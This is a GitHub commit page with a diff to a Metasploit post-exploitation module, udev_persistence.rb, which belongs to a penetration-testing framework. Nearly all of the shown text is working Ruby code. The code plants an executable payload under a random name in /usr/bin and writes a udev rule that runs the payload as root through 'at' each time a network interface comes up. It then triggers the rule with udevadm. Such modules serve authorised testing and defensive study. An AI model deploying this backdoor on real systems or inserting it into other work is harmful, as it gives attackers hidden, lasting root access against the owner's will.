Skip to content

Commit 0d31440

Browse files
committed
Update the module
1 parent b2ad59d commit 0d31440

File tree

1 file changed

+46
-17
lines changed

1 file changed

+46
-17
lines changed

modules/exploits/linux/local/udev_persistence.rb

Lines changed: 46 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -18,14 +18,18 @@ def initialize(info = {})
1818
It'll be executed with root privileges everytime a network interface other than l0 comes up.
1919
},
2020
'License' => MSF_LICENSE,
21-
'Author' => [ 'Julien Voisin' ],
21+
'Author' => [
22+
'Julien Voisin'
23+
],
2224
'Platform' => [ 'unix', 'linux' ],
2325
'Arch' => ARCH_CMD,
2426
'SessionTypes' => [ 'shell', 'meterpreter' ],
25-
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
27+
'DefaultOptions' => { 'WfsDelay' => 90_000 },
2628
'Targets' => [ ['Automatic', {}] ],
2729
'DefaultTarget' => 0,
2830
'DisclosureDate' => '1999-01-01',
31+
'Passive' => true,
32+
'Stance' => Msf::Exploit::Stance::Passive,
2933
'Notes' => {
3034
'Stability' => [],
3135
'Reliability' => [EVENT_DEPENDENT],
@@ -37,33 +41,58 @@ def initialize(info = {})
3741
]
3842
)
3943
)
40-
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
41-
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
44+
register_options([
45+
46+
OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
47+
OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
48+
])
4249
end
4350

44-
def exploit
51+
def get_command
4552
unless executable? '/usr/bin/at'
4653
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
4754
end
55+
%(/usr/bin/at -M -f #{@payload_path} now)
56+
end
4857

49-
unless writable? File.dirname(datastore['BACKDOOR_PATH'])
50-
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
58+
def exploit
59+
@payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
60+
61+
@backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
62+
63+
unless writable? File.dirname(@backdoor_path)
64+
fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
5165
end
52-
if exists? datastore['BACKDOOR_PATH']
53-
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
66+
67+
if exists? @backdoor_path
68+
fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
5469
end
5570

56-
unless writable? File.dirname(datastore['PAYLOAD_PATH'])
57-
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
71+
unless writable? File.dirname(@payload_path)
72+
fail_with Failure::BadConfig, "#{@payload_path} is not writable"
5873
end
59-
if exists? datastore['PAYLOAD_PATH']
60-
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
74+
75+
if exists? @payload_path
76+
fail_with Failure::BadConfig, "#{@payload_path} is already present"
6177
end
6278

63-
upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
64-
print_status "#{datastore['PAYLOAD_PATH']} written"
79+
upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
80+
print_status "#{@payload_path} written"
81+
82+
fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
83+
84+
print_status "#{@backdoor_path} written"
6585

66-
write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
67-
print_status "#{datastore['BACKDOOR_PATH']} written"
86+
# need to trigger first rule manually
87+
print_status 'Triggering udev rule'
88+
cmd_exec('udevadm trigger -v --subsystem-match=net')
89+
90+
stime = Time.now.to_f
91+
timeout = datastore['ListenerTimeout'].to_i
92+
loop do
93+
break if timeout > 0 && (stime + timeout < Time.now.to_f)
94+
95+
Rex::ThreadSafe.sleep(1)
96+
end
6897
end
6998
end

0 commit comments

Comments
 (0)